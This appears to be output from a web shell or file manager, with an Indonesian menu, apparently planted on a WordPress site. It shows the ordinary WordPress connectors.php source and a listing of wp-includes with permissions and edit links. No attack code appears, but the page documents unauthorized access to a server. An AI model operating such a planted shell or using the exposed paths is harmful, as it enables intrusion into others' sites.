WPZ

berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/web_styroporzuschnitte24/wp-includes/connectors.php (32.15 KB)
<?php
/**
 * Connectors API.
 *
 * @package WordPress
 * @subpackage Connectors
 * @since 7.0.0
 */

use WordPress\AiClient\AiClient;
use WordPress\AiClient\Providers\Http\DTO\ApiKeyRequestAuthentication;

/**
 * Checks if a connector is registered.
 *
 * @since 7.0.0
 *
 * @see WP_Connector_Registry::is_registered()
 *
 * @param string $id The connector identifier.
 * @return bool True if the connector is registered, false otherwise.
 */
function wp_is_connector_registered( string $id ): bool {
	$registry = WP_Connector_Registry::get_instance();
	if ( null === $registry ) {
		return false;
	}

	return $registry->is_registered( $id );
}

/**
 * Retrieves a registered connector.
 *
 * @since 7.0.0
 *
 * @see WP_Connector_Registry::get_registered()
 *
 * @param string $id The connector identifier.
 * @return array|null {
 *     Connector data, or null if not registered.
 *
 *     @type string $name           The connector's display name.
 *     @type string $description    The connector's description.
 *     @type string $logo_url       Optional. URL to the connector's logo image.
 *     @type string $type           The connector type, e.g. 'ai_provider'.
 *     @type array  $authentication {
 *         Authentication configuration. When method is 'api_key' or
 *         'application_password', includes credentials_url, setting_name, and
 *         optionally constant_name and env_var_name. When 'none', only method
 *         is present.
 *
 *         @type string $method          The authentication method: 'api_key',
 *                                       'application_password', or 'none'.
 *         @type string $credentials_url Optional. URL where users can obtain API credentials.
 *         @type string $setting_name    Optional. The setting name for the API key or application-password credentials.
 *         @type string $constant_name   Optional. PHP constant name for the API key or application-password credentials.
 *         @type string $env_var_name    Optional. Environment variable name for the API key or application-password credentials.
 *     }
 *     @type array  $plugin         {
 *         Optional. Plugin data for install/activate UI.
 *
 *         @type string   $file      The plugin's main file path relative to the plugins
 *                                   directory (e.g. 'my-plugin/my-plugin.php' or 'hello.php').
 *         @type callable $is_active Callback to determine whether the plugin is active. Receives no arguments and must return bool.
 *                                   Defaults to `__return_true`.
 *     }
 * }
 * @phpstan-return ?array{
 *     name: non-empty-string,
 *     description: string,
 *     logo_url?: non-empty-string,
 *     type: non-empty-string,
 *     authentication: array{
 *         method: 'api_key'|'application_password'|'none',
 *         credentials_url?: non-empty-string,
 *         setting_name?: non-empty-string,
 *         constant_name?: non-empty-string,
 *         env_var_name?: non-empty-string
 *     },
 *     plugin: array{
 *         file?: non-empty-string,
 *         is_active: callable(): bool,
 *     }
 * }
 */
function wp_get_connector( string $id ): ?array {
	$registry = WP_Connector_Registry::get_instance();
	if ( null === $registry ) {
		return null;
	}

	return $registry->get_registered( $id );
}

/**
 * Retrieves all registered connectors.
 *
 * @since 7.0.0
 *
 * @see WP_Connector_Registry::get_all_registered()
 *
 * @return array {
 *     Connector settings keyed by connector ID.
 *
 *     @type array ...$0 {
 *         Data for a single connector.
 *
 *         @type string      $name           The connector's display name.
 *         @type string      $description    The connector's description.
 *         @type string      $logo_url       Optional. URL to the connector's logo image.
 *         @type string      $type           The connector type, e.g. 'ai_provider'.
 *         @type array       $authentication {
 *             Authentication configuration. When method is 'api_key' or
 *             'application_password', includes credentials_url, setting_name,
 *             and optionally constant_name and env_var_name. When 'none', only
 *             method is present.
 *
 *             @type string $method          The authentication method: 'api_key',
 *                                           'application_password', or 'none'.
 *             @type string $credentials_url Optional. URL where users can obtain API credentials.
 *             @type string $setting_name    Optional. The setting name for the API key or application-password credentials.
 *             @type string $constant_name   Optional. PHP constant name for the API key or application-password credentials.
 *             @type string $env_var_name    Optional. Environment variable name for the API key or application-password credentials.
 *         }
 *         @type array       $plugin         {
 *             Optional. Plugin data for install/activate UI.
 *
 *             @type string   $file      The plugin's main file path relative to the plugins
 *                                       directory (e.g. 'my-plugin/my-plugin.php' or 'hello.php').
 *             @type callable $is_active Callback to determine whether the plugin is active. Receives no arguments and must return bool.
 *                                       Defaults to `__return_true`.
 *         }
 *     }
 * }
 * @phpstan-return array<string, array{
 *     name: non-empty-string,
 *     description: string,
 *     logo_url?: non-empty-string,
 *     type: non-empty-string,
 *     authentication: array{
 *         method: 'api_key'|'application_password'|'none',
 *         credentials_url?: non-empty-string,
 *         setting_name?: non-empty-string,
 *         constant_name?: non-empty-string,
 *         env_var_name?: non-empty-string
 *     },
 *     plugin: array{
 *         file?: non-empty-string,
 *         is_active: callable(): bool,
 *     }
 * }>
 */
function wp_get_connectors(): array {
	$registry = WP_Connector_Registry::get_instance();
	if ( null === $registry ) {
		return array();
	}

	return $registry->get_all_registered();
}

/**
 * Resolves an AI provider logo file path to a URL.
 *
 * Converts an absolute file path to a plugin URL. The path must reside within
 * the plugins or must-use plugins directory.
 *
 * @since 7.0.0
 * @access private
 *
 * @param string $path Absolute path to the logo file.
 * @return non-empty-string|null The URL to the logo file, or null if the path is invalid.
 */
function _wp_connectors_resolve_ai_provider_logo_url( string $path ): ?string {
	if ( ! $path ) {
		return null;
	}

	$path = wp_normalize_path( $path );

	if ( ! file_exists( $path ) ) {
		return null;
	}

	$mu_plugin_dir = wp_normalize_path( WPMU_PLUGIN_DIR );
	if ( str_starts_with( $path, $mu_plugin_dir . '/' ) ) {
		$logo_url = plugins_url( substr( $path, strlen( $mu_plugin_dir ) ), WPMU_PLUGIN_DIR . '/.' );
		return $logo_url ? $logo_url : null;
	}

	$plugin_dir = wp_normalize_path( WP_PLUGIN_DIR );
	if ( str_starts_with( $path, $plugin_dir . '/' ) ) {
		$logo_url = plugins_url( substr( $path, strlen( $plugin_dir ) ) );
		return $logo_url ? $logo_url : null;
	}

	_doing_it_wrong(
		__FUNCTION__,
		__( 'Provider logo path must be located within the plugins or must-use plugins directory.' ),
		'7.0.0'
	);

	return null;
}

/**
 * Initializes the connector registry with default connectors and fires the registration action.
 *
 * Creates the registry instance, registers built-in connectors (which cannot be unhooked),
 * and then fires the `wp_connectors_init` action for plugins to register their own connectors.
 *
 * @since 7.0.0
 * @access private
 */
function _wp_connectors_init(): void {
	$registry = new WP_Connector_Registry();
	WP_Connector_Registry::set_instance( $registry );

	// Only register default AI providers if AI support is enabled.
	if ( wp_supports_ai() ) {
		_wp_connectors_register_default_ai_providers( $registry );
	}

	// Non-AI default connectors.
	$registry->register(
		'akismet',
		array(
			'name'           => __( 'Akismet Anti-spam' ),
			'description'    => __( 'Protect your site from spam.' ),
			'type'           => 'spam_filtering',
			'plugin'         => array(
				'file'      => 'akismet/akismet.php',
				'is_active' => static function () {
					return defined( 'AKISMET_VERSION' );
				},
			),
			'authentication' => array(
				'method'          => 'api_key',
				'credentials_url' => 'https://akismet.com/get/',
				'setting_name'    => 'wordpress_api_key',
				'constant_name'   => 'WPCOM_API_KEY',
			),
		)
	);

	/**
	 * Fires when the connector registry is ready for plugins to register connectors.
	 *
	 * Built-in connectors and any AI providers auto-discovered from the WP AI Client
	 * registry have already been registered at this point and cannot be unhooked.
	 *
	 * AI provider plugins that register with the WP AI Client do not need to use
	 * this action — their connectors are created automatically. This action is
	 * primarily for registering non-AI-provider connectors or overriding metadata
	 * on existing connectors.
	 *
	 * Use `$registry->register()` within this action to add new connectors.
	 * To override an existing connector, unregister it first, then re-register
	 * with updated data.
	 *
	 * Example — overriding metadata on an auto-discovered connector:
	 *
	 *     add_action( 'wp_connectors_init', function ( WP_Connector_Registry $registry ) {
	 *         if ( $registry->is_registered( 'anthropic' ) ) {
	 *             $connector = $registry->unregister( 'anthropic' );
	 *             $connector['description'] = __( 'Custom description for Anthropic.', 'my-plugin' );
	 *             $registry->register( 'anthropic', $connector );
	 *         }
	 *     } );
	 *
	 * @since 7.0.0
	 *
	 * @param WP_Connector_Registry $registry Connector registry instance.
	 */
	do_action( 'wp_connectors_init', $registry );
}

/**
 * Registers connectors for the built-in AI providers.
 *
 * @since 7.0.0
 * @access private
 *
 * @param WP_Connector_Registry $registry The connector registry instance.
 */
function _wp_connectors_register_default_ai_providers( WP_Connector_Registry $registry ): void {
	// Built-in connectors.
	$defaults = array(
		'anthropic' => array(
			'name'           => 'Anthropic',
			'description'    => __( 'Text generation with Claude.' ),
			'type'           => 'ai_provider',
			'plugin'         => array(
				'file' => 'ai-provider-for-anthropic/plugin.php',
			),
			'authentication' => array(
				'method'          => 'api_key',
				'credentials_url' => 'https://platform.claude.com/settings/keys',
			),
		),
		'google'    => array(
			'name'           => 'Google',
			'description'    => __( 'Text and image generation with Gemini and Imagen.' ),
			'type'           => 'ai_provider',
			'plugin'         => array(
				'file' => 'ai-provider-for-google/plugin.php',
			),
			'authentication' => array(
				'method'          => 'api_key',
				'credentials_url' => 'https://aistudio.google.com/api-keys',
			),
		),
		'openai'    => array(
			'name'           => 'OpenAI',
			'description'    => __( 'Text and image generation with GPT and Dall-E.' ),
			'type'           => 'ai_provider',
			'plugin'         => array(
				'file' => 'ai-provider-for-openai/plugin.php',
			),
			'authentication' => array(
				'method'          => 'api_key',
				'credentials_url' => 'https://platform.openai.com/api-keys',
			),
		),
	);

	// Merge AI Client registry data on top of defaults.
	// Registry values (from provider plugins) take precedence over hardcoded fallbacks.
	$ai_registry = AiClient::defaultRegistry();

	foreach ( array_filter( $ai_registry->getRegisteredProviderIds() ) as $connector_id ) {
		$provider_class_name = $ai_registry->getProviderClassName( $connector_id );
		$provider_metadata   = $provider_class_name::metadata();

		$auth_method = $provider_metadata->getAuthenticationMethod();
		$is_api_key  = null !== $auth_method && $auth_method->isApiKey();

		if ( $is_api_key ) {
			$credentials_url = $provider_metadata->getCredentialsUrl();
			$authentication  = array(
				'method' => 'api_key',
			);
			if ( $credentials_url ) {
				$authentication['credentials_url'] = $credentials_url;
			}
		} else {
			$authentication = array( 'method' => 'none' );
		}

		$name        = $provider_metadata->getName();
		$description = $provider_metadata->getDescription();
		$logo_url    = $provider_metadata->getLogoPath()
			? _wp_connectors_resolve_ai_provider_logo_url( $provider_metadata->getLogoPath() )
			: null;

		if ( isset( $defaults[ $connector_id ] ) ) {
			// Override fields with non-empty registry values.
			if ( $name ) {
				$defaults[ $connector_id ]['name'] = $name;
			}
			if ( $description ) {
				$defaults[ $connector_id ]['description'] = $description;
			}
			if ( $logo_url ) {
				$defaults[ $connector_id ]['logo_url'] = $logo_url;
			}
			// Always update auth method; keep existing credentials_url as fallback.
			$defaults[ $connector_id ]['authentication']['method'] = $authentication['method'];
			if ( ! empty( $authentication['credentials_url'] ) ) {
				$defaults[ $connector_id ]['authentication']['credentials_url'] = $authentication['credentials_url'];
			}
		} else {
			$defaults[ $connector_id ] = array(
				'name'           => $name ? $name : ucwords( $connector_id ),
				'description'    => $description ? $description : '',
				'type'           => 'ai_provider',
				'authentication' => $authentication,
			);
			if ( $logo_url ) {
				$defaults[ $connector_id ]['logo_url'] = $logo_url;
			}
		}
	}

	// Register all default connectors directly on the registry.
	foreach ( $defaults as $id => $args ) {
		if ( 'api_key' === $args['authentication']['method'] ) {
			$sanitized_id = str_replace( '-', '_', $id );

			$args['authentication']['setting_name'] = "connectors_ai_{$sanitized_id}_api_key";

			// All AI providers use the {CONSTANT_CASE_ID}_API_KEY naming convention.
			$constant_case_key = strtoupper( (string) preg_replace( '/([a-z])([A-Z])/', '$1_$2', $sanitized_id ) ) . '_API_KEY';

			$args['authentication']['constant_name'] = $constant_case_key;
			$args['authentication']['env_var_name']  = $constant_case_key;
		}

		$args['plugin']['is_active'] = static function () use ( $ai_registry, $id ): bool {
			try {
				return $ai_registry->hasProvider( $id );
			} catch ( Exception $e ) {
				return false;
			}
		};

		$registry->register( $id, $args );
	}
}

/**
 * Masks an API key, showing only the last 4 characters.
 *
 * @since 7.0.0
 * @access private
 *
 * @param string $key The API key to mask.
 * @return string The masked key, e.g. "************fj39".
 */
function _wp_connectors_mask_api_key( string $key ): string {
	if ( strlen( $key ) <= 4 ) {
		return $key;
	}

	return str_repeat( "\u{2022}", min( strlen( $key ) - 4, 16 ) ) . substr( $key, -4 );
}

/**
 * Determines the source of an API key for a given connector.
 *
 * Checks in order: environment variable, PHP constant, database.
 * Environment variable and constant are only checked when their
 * respective names are provided.
 *
 * @since 7.0.0
 * @access private
 *
 * @param string $setting_name  The option name for the API key (e.g., 'connectors_spam_filtering_my_plugin_api_key').
 * @param string $env_var_name  Optional. Environment variable name to check (e.g., 'MY_PLUGIN_API_KEY').
 * @param string $constant_name Optional. PHP constant name to check (e.g., 'MY_PLUGIN_API_KEY').
 * @return string The key source: 'env', 'constant', 'database', or 'none'.
 */
function _wp_connectors_get_api_key_source( string $setting_name, string $env_var_name = '', string $constant_name = '' ): string {
	// Check environment variable first.
	if ( '' !== $env_var_name ) {
		$env_value = getenv( $env_var_name );
		if ( false !== $env_value && '' !== $env_value ) {
			return 'env';
		}
	}

	// Check PHP constant.
	if ( '' !== $constant_name && defined( $constant_name ) ) {
		$const_value = constant( $constant_name );
		if ( is_string( $const_value ) && '' !== $const_value ) {
			return 'constant';
		}
	}

	// Check database.
	$db_value = get_option( $setting_name, '' );
	if ( '' !== $db_value ) {
		return 'database';
	}

	return 'none';
}

/**
 * Parses a `username:password` credentials string.
 *
 * Splits on the first colon, matching the HTTP Basic authentication
 * userinfo format, so passwords may contain colons.
 *
 * @since 7.1.0
 * @access private
 *
 * @param string $value The raw credentials string.
 * @return array{username: string, password: string} Parsed credentials. Both values
 *                                                   are empty when the string is malformed.
 */
function wp_connectors_parse_application_password_credentials( string $value ): array {
	$separator = strpos( $value, ':' );
	// Trim so surrounding whitespace or a trailing newline (common when the
	// value comes from a file or `.env`) does not become part of the credentials.
	$username = false === $separator ? '' : trim( substr( $value, 0, $separator ) );
	$password = false === $separator ? '' : trim( substr( $value, $separator + 1 ) );

	if ( '' === $username || '' === $password ) {
		return array(
			'username' => '',
			'password' => '',
		);
	}

	return array(
		'username' => $username,
		'password' => $password,
	);
}

/**
 * Resolves application-password credentials for a connector.
 *
 * Checks in order: environment variable, PHP constant, database. The
 * environment variable and constant are only checked when their respective
 * names are provided, and must contain the credentials as a single
 * `username:password` string. A non-empty environment variable or constant
 * that cannot be parsed as `username:password` is reported with
 * `_doing_it_wrong()` and ignored, so resolution falls through to the next
 * source.
 *
 * @since 7.1.0
 * @access private
 *
 * @param array $auth The connector's authentication configuration.
 * @return array{username: string, password: string, source: string} Resolved credentials and
 *                                                                   their source: 'env', 'constant',
 *                                                                   'database', or 'none'.
 */
function wp_connectors_get_application_password_credentials( array $auth ): array {
	// Check environment variable first.
	$env_var_name = $auth['env_var_name'] ?? '';
	if ( '' !== $env_var_name ) {
		$env_value = getenv( $env_var_name );
		if ( false !== $env_value && '' !== $env_value ) {
			$credentials = wp_connectors_parse_application_password_credentials( $env_value );
			if ( '' !== $credentials['username'] && '' !== $credentials['password'] ) {
				$credentials['source'] = 'env';
				return $credentials;
			}

			_doing_it_wrong(
				__FUNCTION__,
				sprintf(
					/* translators: %s: Environment variable name. */
					__( 'The %s environment variable must contain application password credentials in "username:password" format.' ),
					esc_html( $env_var_name )
				),
				'7.1.0'
			);
		}
	}

	// Check PHP constant.
	$constant_name = $auth['constant_name'] ?? '';
	if ( '' !== $constant_name && defined( $constant_name ) ) {
		$const_value = constant( $constant_name );
		if ( is_string( $const_value ) && '' !== $const_value ) {
			$credentials = wp_connectors_parse_application_password_credentials( $const_value );
			if ( '' !== $credentials['username'] && '' !== $credentials['password'] ) {
				$credentials['source'] = 'constant';
				return $credentials;
			}

			_doing_it_wrong(
				__FUNCTION__,
				sprintf(
					/* translators: %s: PHP constant name. */
					__( 'The %s constant must contain application password credentials in "username:password" format.' ),
					esc_html( $constant_name )
				),
				'7.1.0'
			);
		}
	}

	// Check database.
	$stored   = get_option( $auth['setting_name'] ?? '', array() );
	$username = is_array( $stored ) && isset( $stored['username'] ) && is_string( $stored['username'] ) ? $stored['username'] : '';
	$password = is_array( $stored ) && isset( $stored['password'] ) && is_string( $stored['password'] ) ? $stored['password'] : '';

	return array(
		'username' => $username,
		'password' => $password,
		'source'   => '' !== $username && '' !== $password ? 'database' : 'none',
	);
}

/**
 * Checks whether an API key is valid for a given provider.
 *
 * @since 7.0.0
 * @access private
 *
 * @param string $key         The API key to check.
 * @param string $provider_id The WP AI client provider ID.
 * @return bool|null True if valid, false if invalid, null if unable to determine.
 */
function _wp_connectors_is_ai_api_key_valid( string $key, string $provider_id ): ?bool {
	try {
		$registry = AiClient::defaultRegistry();

		if ( ! $registry->hasProvider( $provider_id ) ) {
			_doing_it_wrong(
				__FUNCTION__,
				sprintf(
					/* translators: %s: AI provider ID. */
					__( 'The provider "%s" is not registered in the AI client registry.' ),
					$provider_id
				),
				'7.0.0'
			);
			return null;
		}

		$registry->setProviderRequestAuthentication(
			$provider_id,
			new ApiKeyRequestAuthentication( $key )
		);

		return $registry->isProviderConfigured( $provider_id );
	} catch ( Exception $e ) {
		wp_trigger_error( __FUNCTION__, $e->getMessage() );
		return null;
	}
}

/**
 * Sanitizes stored application-password credentials for a connector.
 *
 * Credential fields that are missing or not strings keep their currently
 * stored values, so partial updates cannot silently clear a stored secret.
 * A password matching the mask that `_wp_connectors_rest_settings_dispatch()`
 * places in REST responses also keeps the stored password, so a masked
 * settings response can be submitted back to the endpoint unchanged.
 * Pass an empty string to clear a field.
 * If the sanitized username is empty, both fields are discarded so partial
 * credentials cannot leave an orphaned secret.
 *
 * @since 7.1.0
 * @access private
 *
 * @param mixed  $value  The submitted setting value.
 * @param string $option The option name being sanitized. Passed explicitly by the
 *                       registered sanitize callback; falls back to the current
 *                       `sanitize_option_{$option}` filter name when omitted.
 * @return array{username: string, password: string} Sanitized credentials.
 */
function wp_connectors_sanitize_application_password_credentials( $value, string $option = '' ): array {
	if ( ! is_array( $value ) ) {
		$value = array();
	}

	if ( '' === $option ) {
		$option = str_replace( 'sanitize_option_', '', (string) current_filter() );
	}

	$stored = get_option( $option );
	if ( ! is_array( $stored ) ) {
		$stored = array();
	}

	$credentials = array();
	foreach ( array( 'username', 'password' ) as $field ) {
		if ( isset( $value[ $field ] ) && is_string( $value[ $field ] ) ) {
			$credentials[ $field ] = sanitize_text_field( $value[ $field ] );
		} else {
			$credentials[ $field ] = isset( $stored[ $field ] ) && is_string( $stored[ $field ] ) ? $stored[ $field ] : '';
		}
	}

	// A masked password means a client resubmitted a masked REST response.
	if ( str_repeat( "\u{2022}", 16 ) === $credentials['password'] ) {
		$credentials['password'] = isset( $stored['password'] ) && is_string( $stored['password'] ) ? $stored['password'] : '';
	}

	if ( '' === $credentials['username'] ) {
		return array(
			'username' => '',
			'password' => '',
		);
	}

	return $credentials;
}

/**
 * Masks and validates connector credentials in REST responses.
 *
 * On every `/wp/v2/settings` response, masks connector API key values and the
 * password field of default application-password credential objects.
 *
 * On POST or PUT requests, validates each updated AI provider API key before
 * masking. If validation fails, the key is reverted to an empty string.
 * Application password values are masked but not validated.
 *
 * @since 7.0.0
 * @access private
 *
 * @param WP_REST_Response $response The response object.
 * @param WP_REST_Server   $server   The server instance.
 * @param WP_REST_Request  $request  The request object.
 * @return WP_REST_Response The modified response with masked/validated keys.
 */
function _wp_connectors_rest_settings_dispatch( WP_REST_Response $response, WP_REST_Server $server, WP_REST_Request $request ): WP_REST_Response {
	if ( '/wp/v2/settings' !== $request->get_route() ) {
		return $response;
	}

	$data = $response->get_data();
	if ( ! is_array( $data ) ) {
		return $response;
	}

	$is_update = 'POST' === $request->get_method() || 'PUT' === $request->get_method();

	foreach ( wp_get_connectors() as $connector_id => $connector_data ) {
		$auth = $connector_data['authentication'];

		if ( 'application_password' === $auth['method'] && ! empty( $auth['setting_name'] ) ) {
			$setting_name = $auth['setting_name'];
			if ( array_key_exists( $setting_name, $data ) && is_array( $data[ $setting_name ] ) ) {
				$password = $data[ $setting_name ]['password'] ?? '';
				if ( is_string( $password ) && '' !== $password ) {
					$data[ $setting_name ]['password'] = str_repeat( "\u{2022}", 16 );
				}
			}
			continue;
		}

		if ( 'api_key' !== $auth['method'] || empty( $auth['setting_name'] ) ) {
			continue;
		}

		$setting_name = $auth['setting_name'];
		if ( ! array_key_exists( $setting_name, $data ) ) {
			continue;
		}

		$value = $data[ $setting_name ];

		// On update, validate AI provider keys before masking.
		// Non-AI connectors accept keys as-is; the service plugin handles its own validation.
		if ( $is_update && is_string( $value ) && '' !== $value && 'ai_provider' === $connector_data['type'] ) {
			if ( true !== _wp_connectors_is_ai_api_key_valid( $value, $connector_id ) ) {
				update_option( $setting_name, '' );
				$data[ $setting_name ] = '';
				continue;
			}
		}

		// Mask the key in the response.
		if ( is_string( $value ) && '' !== $value ) {
			$data[ $setting_name ] = _wp_connectors_mask_api_key( $value );
		}
	}

	$response->set_data( $data );
	return $response;
}
add_filter( 'rest_post_dispatch', '_wp_connectors_rest_settings_dispatch', 10, 3 );

/**
 * Registers default connector settings.
 *
 * @since 7.0.0
 * @access private
 */
function _wp_register_default_connector_settings(): void {
	$registered_settings = get_registered_settings();

	foreach ( wp_get_connectors() as $connector_data ) {
		$auth = $connector_data['authentication'];
		if ( 'api_key' !== $auth['method'] && 'application_password' !== $auth['method'] ) {
			continue;
		}

		if ( empty( $auth['setting_name'] ) || isset( $registered_settings[ $auth['setting_name'] ] ) ) {
			continue;
		}
		$setting_name = $auth['setting_name'];

		if ( ! isset( $connector_data['plugin']['is_active'] ) || ! is_callable( $connector_data['plugin']['is_active'] ) ) {
			continue;
		}

		if ( ! call_user_func( $connector_data['plugin']['is_active'] ) ) {
			continue;
		}

		if ( 'api_key' === $auth['method'] ) {
			register_setting(
				'connectors',
				$setting_name,
				array(
					'type'              => 'string',
					'label'             => sprintf(
						/* translators: %s: Connector name. */
						__( '%s API Key' ),
						$connector_data['name']
					),
					'description'       => sprintf(
						/* translators: %s: Connector name. */
						__( 'API key for the %s connector.' ),
						$connector_data['name']
					),
					'default'           => '',
					'show_in_rest'      => true,
					'sanitize_callback' => 'sanitize_text_field',
				)
			);
		} elseif ( 'application_password' === $auth['method'] ) {
			register_setting(
				'connectors',
				$setting_name,
				array(
					'type'              => 'object',
					'label'             => sprintf(
						/* translators: %s: Connector name. */
						__( '%s Credentials' ),
						$connector_data['name']
					),
					'description'       => sprintf(
						/* translators: %s: Connector name. */
						__( 'Application password credentials for the %s connector.' ),
						$connector_data['name']
					),
					'default'           => array(
						'username' => '',
						'password' => '',
					),
					'show_in_rest'      => array(
						'schema' => array(
							'type'                 => 'object',
							'properties'           => array(
								'username' => array(
									'type' => 'string',
								),
								'password' => array(
									'type' => 'string',
								),
							),
							'additionalProperties' => false,
						),
					),
					'sanitize_callback' => static function ( $value ) use ( $setting_name ) {
						return wp_connectors_sanitize_application_password_credentials( $value, $setting_name );
					},
				)
			);
		}
	}
}
add_action( 'init', '_wp_register_default_connector_settings', 20 );

/**
 * Passes stored connector API keys to the WP AI client.
 *
 * @since 7.0.0
 * @access private
 */
function _wp_connectors_pass_default_keys_to_ai_client(): void {
	try {
		$ai_registry = AiClient::defaultRegistry();
		foreach ( wp_get_connectors() as $connector_id => $connector_data ) {
			if ( 'ai_provider' !== $connector_data['type'] ) {
				continue;
			}

			$auth = $connector_data['authentication'];
			if ( 'api_key' !== $auth['method'] || empty( $auth['setting_name'] ) ) {
				continue;
			}

			if ( ! $ai_registry->hasProvider( $connector_id ) ) {
				continue;
			}

			// Skip if the key is already provided via env var or constant.
			$key_source = _wp_connectors_get_api_key_source( $auth['setting_name'], $auth['env_var_name'] ?? '', $auth['constant_name'] ?? '' );
			if ( 'env' === $key_source || 'constant' === $key_source ) {
				continue;
			}

			$api_key = get_option( $auth['setting_name'], '' );
			if ( ! is_string( $api_key ) || '' === $api_key ) {
				continue;
			}

			$ai_registry->setProviderRequestAuthentication(
				$connector_id,
				new ApiKeyRequestAuthentication( $api_key )
			);
		}
	} catch ( Exception $e ) {
		wp_trigger_error( __FUNCTION__, $e->getMessage() );
	}
}
add_action( 'init', '_wp_connectors_pass_default_keys_to_ai_client', 20 );

/**
 * Exposes connector settings to the connectors-wp-admin script module.
 *
 * @since 7.0.0
 * @access private
 *
 * @param array<string, mixed> $data Existing script module data.
 * @return array<string, mixed> Script module data with connectors added.
 */
function _wp_connectors_get_connector_script_module_data( array $data ): array {
	$registry = AiClient::defaultRegistry();

	if ( ! function_exists( 'validate_plugin' ) ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';
	}

	$connectors = array();
	foreach ( wp_get_connectors() as $connector_id => $connector_data ) {
		$auth     = $connector_data['authentication'];
		$auth_out = array( 'method' => $auth['method'] );

		if ( 'api_key' === $auth['method'] ) {
			$auth_out['settingName']    = $auth['setting_name'] ?? '';
			$auth_out['credentialsUrl'] = $auth['credentials_url'] ?? null;
			$key_source                 = _wp_connectors_get_api_key_source( $auth['setting_name'] ?? '', $auth['env_var_name'] ?? '', $auth['constant_name'] ?? '' );
			$auth_out['keySource']      = $key_source;

			if ( 'ai_provider' === $connector_data['type'] ) {
				try {
					$auth_out['isConnected'] = $registry->hasProvider( $connector_id ) && $registry->isProviderConfigured( $connector_id );
				} catch ( Exception $e ) {
					$auth_out['isConnected'] = false;
				}
			} else {
				$auth_out['isConnected'] = 'none' !== $key_source;
			}
		} elseif ( 'application_password' === $auth['method'] ) {
			$credentials = wp_connectors_get_application_password_credentials( $auth );

			$auth_out['settingName']    = $auth['setting_name'] ?? '';
			$auth_out['credentialsUrl'] = $auth['credentials_url'] ?? null;
			$auth_out['keySource']      = $credentials['source'];
			$auth_out['isConnected']    = '' !== $credentials['username'] && '' !== $credentials['password'];
		}

		$connector_out = array(
			'name'           => $connector_data['name'],
			'description'    => $connector_data['description'],
			'logoUrl'        => ! empty( $connector_data['logo_url'] ) ? $connector_data['logo_url'] : null,
			'type'           => $connector_data['type'],
			'authentication' => $auth_out,
		);

		if ( ! empty( $connector_data['plugin']['file'] ) ) {
			$file         = $connector_data['plugin']['file'];
			$is_activated = (bool) call_user_func( $connector_data['plugin']['is_active'] );
			$is_installed = $is_activated || 0 === validate_plugin( $file );

			$connector_out['plugin'] = array(
				'file'        => $file,
				'isInstalled' => $is_installed,
				'isActivated' => $is_activated,
			);
		}

		$connectors[ $connector_id ] = $connector_out;
	}
	ksort( $connectors );
	$data['connectors']        = $connectors;
	$data['isFileModDisabled'] = ! wp_is_file_mod_allowed( 'install_plugins' );
	return $data;
}
add_filter( 'script_module_data_options-connectors-wp-admin', '_wp_connectors_get_connector_script_module_data' );
namawaktuukuranownerpermaksi
..
ID3/ 2024-08-09 01:011.12 MB 76129f60960:kundendxwrx-rx-r
IXR/ 2017-01-10 14:0433.42 KB 76129f60960:kundendxwrx-rx-r
PHPMailer/ 2026-10-22 10:47269.83 KB 76129f60960:kundendxwrx-rx-r
Requests/ 2023-07-04 19:03210.83 KB 76129f60960:kundendxwrx-rx-r
SimplePie/ 2026-10-22 10:47727.42 KB 76129f60960:kundendxwrx-rx-r
Text/ 2026-10-22 10:4755.01 KB 76129f60960:kundendxwrx-rx-r
abilities-api/ 2026-10-22 10:4758.55 KB 76129f60960:kundendxwrx-rx-r
ai-client/ 2026-10-22 10:4742.41 KB 76129f60960:kundendxwrx-rx-r
assets/ 2026-10-22 10:4734.65 KB 76129f60960:kundendxwrx-rx-r
block-bindings/ 2026-10-22 10:479.36 KB 76129f60960:kundendxwrx-rx-r
block-patterns/ 2026-10-22 10:4719.14 KB 76129f60960:kundendxwrx-rx-r
block-supports/ 2026-10-22 10:47191.98 KB 76129f60960:kundendxwrx-rx-r
blocks/ 2026-10-22 10:471.83 MB 76129f60960:kundendxwrx-rx-r
build/ 2026-10-22 10:472.05 MB 76129f60960:kundendxwrx-rx-r
certificates/ 2014-06-05 20:33195.43 KB 76129f60960:kundendxwrx-rx-r
css/ 2026-10-22 10:474.58 MB 76129f60960:kundendxwrx-rx-r
customize/ 2021-07-24 19:08183.18 KB 76129f60960:kundendxwrx-rx-r
fonts/ 2024-08-09 01:01318.29 KB 76129f60960:kundendxwrx-rx-r
html-api/ 2026-10-22 10:47560.57 KB 76129f60960:kundendxwrx-rx-r
images/ 2026-10-22 10:47212.26 KB 76129f60960:kundendxwrx-rx-r
interactivity-api/ 2024-08-09 01:0172.5 KB 76129f60960:kundendxwrx-rx-r
js/ 2026-10-22 10:4758.49 MB 76129f60960:kundendxwrx-rx-r
l10n/ 2024-08-09 01:0130.43 KB 76129f60960:kundendxwrx-rx-r
php-ai-client/ 2026-10-22 10:47588.11 KB 76129f60960:kundendxwrx-rx-r
php-compat/ 2023-02-04 23:481.22 KB 76129f60960:kundendxwrx-rx-r
pomo/ 2018-02-08 19:2055.7 KB 76129f60960:kundendxwrx-rx-r
rest-api/ 2019-06-12 20:121.11 MB 76129f60960:kundendxwrx-rx-r
sitemaps/ 2021-01-14 01:3447.7 KB 76129f60960:kundendxwrx-rx-r
sodium_compat/ 2021-01-14 01:341.32 MB 76129f60960:kundendxwrx-rx-r
style-engine/ 2023-02-04 23:4852.22 KB 76129f60960:kundendxwrx-rx-r
theme-compat/ 2016-04-26 13:2515.26 KB 76129f60960:kundendxwrx-rx-r
widgets/ 2026-11-26 08:02156.36 KB 76129f60960:kundendxwrx-rx-r
abilities-api.php 2026-10-22 10:4732.03 KB 76129f60960:kunden-xw-x--x--
edt
abilities.php 2026-10-22 10:4711.52 KB 76129f60960:kunden-xw-x--x--
edt
admin-bar.php 2026-11-19 21:5539.17 KB 76129f60960:kunden-xw-x--x--
edt
ai-client.php 2026-10-22 10:472.49 KB 76129f60960:kunden-xw-x--x--
edt
atomlib.php 2026-10-22 10:4711.9 KB 76129f60960:kunden-xw-x--x--
edt
author-template.php 2026-10-22 10:4719.38 KB 76129f60960:kunden-xw-x--x--
edt
block-bindings.php 2026-10-22 10:477.45 KB 76129f60960:kunden-xw-x--x--
edt
block-editor.php 2026-10-22 10:4728.05 KB 76129f60960:kunden-xw-x--x--
edt
block-i18n.json 2023-02-04 23:48316 B 76129f60960:kunden-xw-x-----
edt
